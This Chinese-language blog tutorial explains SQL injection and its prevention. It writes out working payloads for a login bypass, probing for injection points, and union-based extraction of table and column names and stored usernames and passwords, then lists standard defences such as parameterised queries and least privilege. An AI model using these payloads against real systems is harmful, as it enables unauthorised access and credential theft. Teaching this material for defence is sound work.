SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
mysql部分操作
Apr 05 MySQL
MySQL 数据丢失排查案例
May 08 MySQL
mysql 8.0.24版本安装配置方法图文教程
May 12 MySQL
.Net Core导入千万级数据至Mysql的步骤
May 24 MySQL
MySQL的安装与配置详细教程
Jun 26 MySQL
MySQL系列之七 MySQL存储引擎
Jul 02 MySQL
MySQL的全局锁和表级锁的具体使用
Aug 23 MySQL
Mysql排查分析慢sql之explain实战案例
Apr 19 MySQL
sql注入报错之注入原理实例解析
Jun 10 MySQL
MySQL运行报错:“Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggre”解决方法
Jun 14 MySQL
mysql拆分字符串作为查询条件的示例代码
Jul 07 MySQL
MySQL生成千万测试数据以及遇到的问题
Aug 05 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
node.js中的fs.unlinkSync方法使用说明
2014/12/15 Javascript
jquery实现右键菜单插件
2015/03/29 Javascript
jQuery中 prop() attr()使用详解
2015/05/19 Javascript
AngularJS ng-blur 指令详解及简单实例
2016/07/30 Javascript
JS简单随机数生成方法
2016/09/05 Javascript
微信小程序 加载 app-service.js 错误解决方法
2016/10/12 Javascript
JavaScript中清空数组的方法总结
2016/12/02 Javascript
使用nodejs下载风景壁纸
2017/02/05 NodeJs
使用Jenkins部署React项目的方法步骤
2019/03/11 Javascript
使用jQuery mobile NuGet让你的网站在移动设备上同样精彩
2019/06/18 jQuery
微信小程序中插入激励视频广告并获取收益(实例代码)
2019/12/06 Javascript
微信小程序自定义弹出层效果
2020/05/26 Javascript
JavaScript实现瀑布流布局的3种方式
2020/12/27 Javascript
[02:30]DOTA2英雄基础教程 暗影恶魔
2013/12/17 DOTA
win10环境下python3.5安装步骤图文教程
2017/02/03 Python
Django进阶之CSRF的解决
2018/08/01 Python
Python中创建二维数组
2018/10/17 Python
DRF跨域后端解决之django-cors-headers的使用
2019/01/27 Python
pandas dataframe添加表格框线输出的方法
2019/02/08 Python
已安装tensorflow-gpu,但keras无法使用GPU加速的解决
2020/02/07 Python
Matplotlib.pyplot 三维绘图的实现示例
2020/07/28 Python
详解使用python爬取抖音app视频(appium可以操控手机)
2021/01/26 Python
CSS3 特效范例整理
2011/08/22 HTML / CSS
全球性的在线商店:Vogca
2019/05/10 全球购物
戴尔马来西亚官网:Dell Malaysia
2020/05/02 全球购物
小学生演讲稿
2014/01/12 职场文书
优秀团队获奖感言
2014/02/19 职场文书
学校火灾防控方案
2014/06/09 职场文书
群众路线个人对照检查材料2014
2014/09/26 职场文书
校园会短篇的广播稿
2014/10/21 职场文书
国庆节慰问信
2015/02/15 职场文书
拔河比赛新闻稿
2015/07/17 职场文书
解决pytorch 损失函数中输入输出不匹配的问题
2021/06/05 Python
Redisson实现Redis分布式锁的几种方式
2021/08/07 Redis
小程序实现悬浮按钮的全过程记录
2021/10/16 HTML / CSS
html用代码制作虚线框怎么做? dw制作虚线圆圈的技巧
2022/12/24 HTML / CSS